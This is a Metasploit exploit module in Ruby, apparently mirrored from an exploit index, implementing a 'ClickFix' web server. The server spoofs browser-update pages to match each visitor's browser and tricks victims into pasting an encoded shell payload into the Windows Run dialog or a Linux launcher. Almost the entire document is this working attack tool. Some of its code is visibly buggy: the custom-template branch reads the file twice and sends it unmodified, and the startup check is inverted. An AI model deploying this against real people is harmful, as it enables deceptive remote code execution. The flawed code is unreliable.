Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-MISC-CLICKFIX_SERVER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ClickFix Server',
        'Description' => %q{
          This creates a Web Server which hosts a ClickFix type exploit.
          When a user visits the site they are given instructions on pasting
          our payload into a run dialog.

          When using a custom html page, please use INSERT_PAYLOAD_HERE as the
          spot to put the generated payload in.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'boredchilada' # clickfix template inspiration
        ],
        'References' => [
          ['URL', 'https://www.hhs.gov/sites/default/files/clickfix-attacks-sector-alert-tlpclear.pdf'],
          ['URL', 'https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/'],
          ['URL', 'https://github.com/boredchilada/clickfix-simulator-2025'],
          ['URL', 'https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos']
        ],
        'Payload' => {
          'Space' => 245, # Reserve room for wrapper so final command fits Run dialog max
          'DisableNops' => true
        },
        'Arch' => [ARCH_CMD],
        'Stance' => Msf::Exploit::Stance::Passive,
        'Passive' => true,
        'Targets' => [
          ['Windows', { 'Platform' => 'win' }],
          ['Linux', { 'Platform' => ['linux', 'unix'] }]
        ],
        'DisclosureDate' => '2023-01-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['ClickFix', 'ClearFake', 'Fake Update', 'CrashFix'],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT]
        }
      )
    )
    # set the default port, and a URI that a user can set if the app isn't installed to the root
    register_options(
      [
        OptPort.new('SRVPORT', [true, 'Web Server Port', 80]),
        OptEnum.new('TEMPLATE', [ true, 'Template style to use', 'auto', %w[auto custom]]),
        OptPath.new('CUSTOM', [false, 'Custom Template Path', ''], conditions: ['TEMPLATE', '==', 'custom'])
      ]
    )
  end

  def on_request_uri(cli, request)
    if request.method == 'GET'
      user_agent = request['User-Agent']
      print_status("Request #{request.uri} from #{user_agent}")
      # get our payload stubbed
      if target.name == 'Windows'
        p_load = payload.encoded.gsub(' start /B', '') # 'start /B' only works on cmd, not in the run dialog box
        p_load = "cmd /c \"#{p_load}\"" # run command dialog can't use & so we wrap in cmd
      else
        # Linux Application Finder can't have ; so wrap it in bash
        p_load = "bash -c \"#{payload.encoded}\""
      end
      case datastore['TEMPLATE']
      when 'custom'
        template = ::File.read(::File.read(datastore['CUSTOM'], mode: 'rb'))
        template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))
        send_response(cli, ::File.read(datastore['CUSTOM'], mode: 'rb'))
      else
        template = ::File.read(File.join(Msf::Config.data_directory, 'exploits', 'clickfix', 'browser_update.html'))
        template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))
        if user_agent =~ %r{Edg/}
          version = user_agent.match(%r{Edg/([\d.]+)})
          template.gsub!('120.0.6099.0', version[1]) if version
          template.gsub!('Google Chrome', 'Microsoft Edge')
          template.gsub!('Chrome', 'Edge') if version
        elsif user_agent =~ /Chrome/
          version = user_agent.match(%r{Chrome/([\d.]+)})
          template.gsub!('120.0.6099.0', version[1]) if version
        elsif user_agent =~ /Firefox/
          version = user_agent.match(%r{Firefox/([\d.]+)})
          template.gsub!('120.0.6099.0', version[1]) if version
          template.gsub!('Google Chrome', 'Mozilla Firefox')
          template.gsub!('Chrome', 'Firefox') if version
        else
          # assume chrome based on marketshare
          fake_version = "#{rand(201..400)}.0.#{rand(1000..9999)}.0"
          template.gsub!('120.0.6099.0', fake_version)
        end
        send_response(cli, template)
      end
    end
  end

  def run
    if datastore['TEMPLATE'] == 'custom' && File.exist?(datastore['CUSTOM'])
      fail_with(Failure::BadConfig, "Custom template path not found: #{datastore['CUSTOM']}")
    end
    exploit # start http server
  end
end